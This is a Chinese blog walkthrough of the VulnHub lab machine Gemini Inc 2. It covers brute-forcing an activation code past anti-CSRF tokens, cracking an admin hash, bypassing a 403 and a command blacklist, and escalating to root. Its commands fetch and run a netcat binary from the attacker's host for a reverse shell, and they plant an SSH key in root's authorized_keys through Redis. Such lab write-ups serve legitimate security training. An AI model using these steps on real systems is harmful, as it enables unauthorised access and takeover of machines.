当前位置:网站首页>Vulnhub靶机:GEMINI INC_ 2
Vulnhub靶机:GEMINI INC_ 2
2022-08-11 02:09:00 【lainwith】
介绍
系列:Gemini Inc(此系列共2台)
发布日期:2018年04月29日
注释: 使用vmwar workstation运行虚拟机
难度: 中
目标: 取得 root 权限 + Flag
攻击方法:
- 主机发现
- 端口扫描
- 信息收集
- 隐藏路径爬取
- 开放注册
- 激活码爆破
- Anti CSRF Token
- 密码破解
- WAF Bypass
- 命令注入
- 黑名单绕过
- SSH公钥认证
- Redis漏洞利用
- 本地提权
靶机地址:https://www.vulnhub.com/entry/gemini-inc-2,234/
主机发现
netdiscover主机发现
sudo netdiscover -i eth0 -r 192.168.239.0/24

主机信息探测
nmap -p- 192.168.239.139
nmap -p22,80 -sV 192.168.239.139

网站探测
点点上面的链接,没啥用。
目录爆破
分别进行了常规目录爆破,和文件后缀爆破
dirsearch -u http://192.168.239.139 --full-url
gobuster dir -r -u http://192.168.239.139 -x txt,html,php,bak,old,tar,zip -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 100 -e
得到了一些有趣的页面:
激活页面:http://192.168.239.139/activate.php
黑名单页面:http://192.168.239.139/blacklist.txt
注册页面:http://192.168.239.139/registration.php
- 注册一个账号
我先是用火狐浏览器注册的,页面没反应,换个别的浏览器出现反应了。第一次注册的时候给出一个提示,说不知道哪里出错了,第二次注册的时候提示账号已经注册了。

- 登录账号
登录的时候得知需要一个6位数字的注册码,我在爆破目录的时候发现了一个激活页面,应该就是它了。
查看当前账户信息时发现当前账户的id是14
激活码爆破-绕token
来到激活码页面,把我这个账号对应的id输进去。当我随便输入一个激活码的时候,页面没有任何反应,换用别的浏览器也是这样。我看了眼bp,首先确定爆破激活码的话需要绕Token;其次,猜测可能激活码输入正确时才会给出反应。那就开始爆破吧。

- 保持拦截
输入我们的id号,随便写个激活码,bp开启拦截,把拦截的数据包发送到爆破模块中。bp继续保持拦截!
- 设置攻击模式
攻击类型选择“Pitchfork”,然后选择设定攻击的两个对象
- 设置payload
- 设置第一个参数

- 设置第二个参数
第二个参数的攻击模式选择:递归搜索(Recursive grep),下拉框的第6个选项

- 设置爆破速度
因为是绕token,因此速率必须是1
- 设置失败重试次数
同样是还是因为token每次变化的原因,禁止失败重试。
- 开始攻击
不多时,发现了一个与众不同的攻击信息。得知激活码是 000511

- 验证攻击
bp停止拦截数据包,刷新浏览器页面,已经可以看到个人信息了。
破解管理员密码
常规的信息收收集中,在用户列表中发现了名为“9emin1”的用户的“Rank”标签是“ Administrator ”,不妨试着登录这个账号试试。
如何登录这个账号呢?因为我的BP安装了HaE,我先是看了一眼,发现了一个敏感信息
不清楚html标签含义的话,参见这里:https://www.w3school.com.cn/tags/tag_comment.asp
来到https://www.cmd5.com/ ,破解得到密码:secretpassword
403绕过
使用账号:Gemini、secretpassword登录网站,有个按钮提示我可以执行命令,但是当我尝试访问它的时候,页面没有显示任何内容,通过BP可以知道,我看不到内容的原因是IP地址不被允许访问。
虽然BurpSuite_403Bypasser已经探测到了bypass,但是这里我打算使用 “Bypass WAF”来绕过。
在BP应用商店搜索waf,你会看到“Bypass WAF”,根据介绍信息可以得知它主要用来ByPass403。
使用:
- 插件的默认配置无需改动
- 为了效果的纯粹性,在一台干净的win2012上启用一个干净的BP




注意到,仪表盘没有提示403bypass
- IP绕过403的方法很多,之前总结过7种方法:https://www.yuque.com/u1881995/xwfvho/aam6g8#z9Jnp
命令执行绕过
尝试执行命令时,提示命令中包含非法字符,想起 http://192.168.239.139/blacklist.txt 中有黑名单。
碰到这种情况,试试tab绕过呢?可以看到命令成功执行了,但是我这里没有收到连接
既然如此,我就投递nc重新来反弹shell,为了绕过过滤,这里把所有的请求体的+替换为%09。
在浏览器中依次执行如下命令:
wget http://192.168.239.138/nc -O /tmp/nc
chmod +x /tmp/nc
/tmp/nc 192.168.239.138 4444

结果拿到的shell不能用,这一幕似曾相识。参见:https://www.yuque.com/u1881995/xwfvho/fdp6eb#brSWl
与以往靶机不同的是,我很确认自己投递的nc是带-e功能的,那就指明终端重来
提权
常规提权无效,提权脚本发现的漏洞也利用失败。漫无目的的翻看提权脚本的其他信息,发现靶机运行着redis和mysql,而redis是以root权限运行的。在redis默认路径下发现了它的配置文件,并获取了其登陆密码。

在使用过程中发现光标显示效果存在严重问题,如何解决?
SSH登录
在之前的打靶经验中曾经介绍过“SSH偷梁换柱”语雀地址、CSDN地址,可以通过SSH公钥身份认证登录解决上述的显示异常问题。
- kali生成ssh文件:
ssh-keygen - 靶机重新反弹个shell:
cd ~
mkdir .ssh
cd .ssh
/tmp/nc -nvlp 5555 > ./authorized_keys
- kali传送文件:
nc -nv 192.168.239.139 5555 < id_rsa.pub -w 1
测试发现,kali投递 authorized_keys 或者 id_rsa.pub 都是可行的。因为这俩本来就是一个东西。
- kali直接免密登录:
ssh [email protected]

redis提权
由于redis是以root权限运行的,那么我们可以尝试把 gemini1 家目录下的authorized_keys文件丢到root家里面,进而实现提权。
cd ~/.ssh
把authorized_keys转换为redis可以使用的格式
(echo -e "\n\n"; cat authorized_keys; echo -e "\n\n") > pub.txt
ls
cat pub.txt | redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6 -x set ssh_key
redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6
CONFIG set dir /root/.ssh
config set dbfilename "authorized_keys"
save

边栏推荐
猜你喜欢

Qt 中的隐式共享

Gaussian beam focused by thermal lens

Alibaba 最新神作!耗时 182 天肝出来 1015 页分布式全栈手册太香了

88Q2110 access C45 phy address through C22

2022英伟达显卡排名天梯图

How to solve the problem of Tomcat booting and crashing
![MySQL Basics [Part 1] | Database Overview and Data Preparation, Common Commands, Viewing Table Structure Steps](/img/61/bebf5661ef1013e233e8d32c79f9ae.png)
MySQL Basics [Part 1] | Database Overview and Data Preparation, Common Commands, Viewing Table Structure Steps

WeChat public account background management

Lianshengde W801 series 5-WeChat applet and W801 Bluetooth communication routine (read notes)

MySQL基础篇【第一篇】| 数据库概述及数据准备、常用命令、查看表结构步骤
随机推荐
comp3331-9331-22t1-midterm复习辅导-tutorial week 5
Lianshengde W801 series 5-WeChat applet and W801 Bluetooth communication routine (read notes)
一言(ヒトコト)Hitokoto API
shell [stdin/stdout/stderr][重定向]
生信实验记录(part2)--tf.reduce_sum()用法介绍
软件测试面试题:单元测试的策略有哪些?
This Thursday evening at 19:00, Lesson 5 of the sixth phase of knowledge empowerment丨OpenHarmony WiFi subsystem
Gaussian beam focused by thermal lens
22-7-31
软件测试面试题:在频繁的版本发布中,如何回归测试?
颠覆性创新招商,链动2+1是个怎么样的制度模式?
How to solve the problem of Tomcat booting and crashing
隐私计算融合应用研究
Is container technology really the savior of environmental management?
Engineering Design of Single-sided PCB Routing Impedance
Ora - 00001 in violation of the only constraint
进程间通信方式(1)无名管道(全CSDN最用心的博主)
思念家乡的月亮
Mysql_Note3
Mysql_Note6